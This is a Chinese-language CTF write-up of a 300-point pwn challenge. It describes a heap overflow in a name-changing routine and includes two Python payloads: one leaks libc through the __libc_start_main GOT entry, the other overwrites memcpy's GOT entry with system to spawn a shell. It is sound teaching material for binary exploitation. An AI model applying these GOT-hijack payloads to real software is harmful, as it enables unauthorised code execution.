Info

Category: pwn Point: 300 Solver: nae @ BambooFox 第一次貢獻大分數給 BambooFox,雖然這次比賽比較簡單,但還是很感動QQ

Analyzing

64 bit ELF, NX, Partial RELRO, Stack Canary, no PIE

程式一開始會要求輸入名字,而他會 malloc 名字長度的記憶體來存放使用者輸入的名字,接著會 malloc 一塊 0x80 大小的 heap,以下稱之為 key_heap,第一格高位 4 bytes 會存放 length of name,第二格則儲存著 name’s heap 的位址。

name’s heap & key_heap 的 memory layout 如下:

	low     ->     high
	+ ------------- +  name's heap chunk head
	| previous size |
	| ------------- |
	|      size     |
	| ------------- |
	|      name     |  32 bytes
	|               |		|
	|               |		|
	|               |		v
	+ ------------- +  key_heap chunk head
	| previous size |
	| ------------- |
	|      size     |
	| ------------- |
	|       |length |
	| ------------- |
	|  name's heap  |
	+ ------------- +

輸入完名字之後,回到了 main,接著便進入玩遊戲的 function 以下稱為 game。

遊戲是猜小寫英文字母,然後如果分數超過 64 分可以重新改名字,而改寫名字時可以在 heap 上進行 overflow。

因為是猜小寫字母,而照他的規則一開始輸入名字的長度 決定可以猜的次數,因此一開始輸入名字時就給他來個 'A'*26,這樣基本上從 a 猜到 z 猜到一半就能夠破分數紀錄而改寫名字。

改寫名字的 code 重點如下:

s = malloc(248);
memset(s, 0, 248);
len_of_new_name = read(0, s, 248);
*(_DWORD*)(a1 + 4) = len_of_new_name; // 把剛剛 key_heap 存 name size 的地方改成 new name 的 size
memcpy(*(void**)(a1 + 8), s, len_of_new_name);
free(s);

由上面的 code 可以發現,他最長可以讀 248 bytes,而我們一開始輸入的名字長度只有 26,因此 new name 可以好好的構造來 leak information

因為離開 game 後會把新名字 dump 出來,而程式找 name_heap 的方式是靠 key_heap 的第二格來找,因此在剛剛的 overflow 時我們將原本儲存著 name’s heap address 的那格改成 GOT entry,這樣一來,在 dump new name 的時候便可以 leak libc information 接著利用主辦方給的 libc 就可以找到 libc base

這邊 overflow 的 payload 如下:

payload = 'A'*32 # padding
payload += p64(0) # previous size
payload += p64(0x91) # size
payload += p32(0x20) # score
payload += p32(0x1b) # len_of_new_name
payload += p64(libc_start_main) # __libc_start_main GOT entry

size 那邊沒必要寫壞就寫回原來的值,下一格的低位 4 bytes 會是 這次刷新的分數(下面提供相關 code),為了加速下次玩遊戲時間,把分數改低一點,然後因為猜個 26 次就很夠了所以高位 4 bytes 寫回原來的長度就好了,接下來再玩一次。

score = *(_DWARD*)a1;

第二次改名時就不會改到 name’s heap,會改到剛剛 overwrite 的 __libc_start_main GOT entry 上。

GOT table 的 libc function order:

__libc_start_main@got.plt
__gmon_start__@got.plt
memcpy@got.plt
malloc@got.plt
setvbuf@got.plt

因為在改名字時有一段 code 是 memcpy(*(void**)(a1+8), s, len_of_new_name),所以把 memcpy 的 GOT hijack 掉改成 system,要注意的點是改名字時會用到 mallocread 會在結尾補 \x00 所以乾脆直接連 malloc 也一起蓋正確的 libc address 確保他不會壞,而 malloc 的下一個 function 後面用不到就不用管他。這邊 payload 開頭我就先送 'sh\x00' 上去這樣 memcpy 的一開始就可以直接 system('sh')

第二次的 payload:

payload = "sh\x00".ljust(8)
payload += 'A'*8
payload += p64(system)
payload += p64(malloc)

之後再玩一次遊戲,然後改名字的時候隨便輸入就可以拿到 shell。